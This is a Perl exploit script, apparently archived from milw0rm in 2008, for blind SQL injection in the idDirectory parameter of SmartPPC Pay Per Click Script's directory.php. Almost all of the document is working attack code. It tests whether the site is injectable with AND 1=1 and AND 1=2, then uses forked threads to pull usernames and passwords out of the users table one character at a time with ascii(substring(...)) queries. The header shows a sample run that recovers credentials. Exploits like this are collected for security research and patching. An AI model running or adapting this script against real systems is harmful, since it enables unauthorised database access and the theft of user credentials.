#!/usr/bin/perl -W # SmartPPC Pay Per Click Script Blind SQL Injection Exploit # File affected: directory.php ($idDirectory) # # Vulnerability: Hamtaro # Exploit: ka0x # # # ka0x@domlabs:~$ ./smartppc.pl -u "http://localhost/directory.php?username=&idDirectory=2" -p Top # [i] Getting default: -T 30 # [i] Getting default: -l 200 # [i] Getting default: -t 15 # 18 118 v # [!] $EXIT_IF_NO_CHAR : I can't find a valid character, position 18. # [i] USER / PASSWORD: # ka0x / test12345_ # # special thanks: NullWave07, an0de, Piker, Xarnuz my $MAX_FIELD_LENGTH = 200 ; my $EXIT_IF_NO_CHAR = 1 ; my $DEFAULT_THREADS = 15 ; my $DEFAULT_THREADS_TIMEOUT = 30 ; my @ascii = ( 32 .. 123 ) ; my $DEFAULT_THREADS_TIME = 1 ; use LWP::UserAgent ; sub _HELP_AND_EXIT { die " ./$0 -u -p Options: -u Ex: http://localhost/directory.php?username=&idDirectory=58 -p HTML pattern. Other: -t <#> Threads, default '$DEFAULT_THREADS'. -l <#> Maximum table name length '$MAX_FIELD_LENGTH'. -T <#> Timeout. -h Help (also with --help). Example: ./$0 -u \"http://localhost/directory.php?username=&idDirectory=2\" -p Top " ; } my ($p, $w) = ({ @ARGV }, { }) ; map { &_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ; } keys %$p ; map { die "[!] Require: $_\n[!] Help: ./$0 --help\n" unless $p->{ $_ } ; } qw/-u -p/ ; $p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ; $p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ; $p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ; map { warn "[i] Getting default: $_ $w->{ $_ }\n" ; } sort keys %$w ; ( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ; sub _START_WORK { my $p = shift ; my $position = 1 ; pipe(R, W) ; pipe(Rs, Ws) ; autoflush STDOUT 1 ; my $sql_message = '' ; my $msg = '' ; my @pid ; while( $position <= $p->{'-l'} ) { my $cf ; unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; } push(@pid, $cf) ; my $count = 0 ; my $can_exit ; my $char_printed ; while() { chomp ; push(@pid, (split(/:/))[1] ) if /^pid/ ; my ($res, $pos, $ascii) = ( split(/ /, $_) ) ; $count++ if $pos == $position ; print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ; if( $res eq 'yes' and $pos == $position ){ $char_printed = $can_exit = 1 ; print Ws "STOP $position\n" ; $sql_message .= chr( $ascii ) ; } last if ( $can_exit or $count == @ascii ); } map { waitpid($_, 0) } @pid ; unless( $char_printed ) { if( $EXIT_IF_NO_CHAR ) { warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n" ; last ; } } $position++ ; } print "[i] USER / PASSWORD:\n$sql_message\n" ; } sub _CHECKING { my ($p, $position) = @_ ; my $counter = 0 ; my $stop_position ; foreach my $ascii ( @ascii ) { $counter++ ; if( $counter % $p->{'-t'} == 0 ) { my $stop_position ; eval { $SIG{'ALRM'} = sub { die "non_stop\n" } ; alarm $DEFAULT_THREADS_TIME ; my $line = ; $stop_position = (split( / /, $line))[1] ; alarm 0 ; } ; if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; } } unless(my $pid = fork ) { print Ws "pid:$pid\n" or die ; my $url = $p->{'-u'} . ' AND ascii(substring((SELECT CONCAT(username,0x202f20,pass) FROM users LIMIT 0,1),' . $position . ',1))='. $ascii ; my $ua = LWP::UserAgent->new ; $ua->timeout( $p->{'-T'} ) ; my $content ; while( 1 ) { last if $content = $ua->get( $url )->content ; } ( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ; exit( 0 ) ; } } } sub _IS_VULN { my $p = shift ; my $ua = LWP::UserAgent->new ; $ua->timeout( $p->{'-T'} ) ; my ( $one, $two ) = ( $ua->get( $p->{'-u'}." AND 1=1")->content , $ua->get( $p->{'-u'}." AND 1=2")->content , ) ; return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ; } __END__ # milw0rm.com [2008-07-07]

Query Builder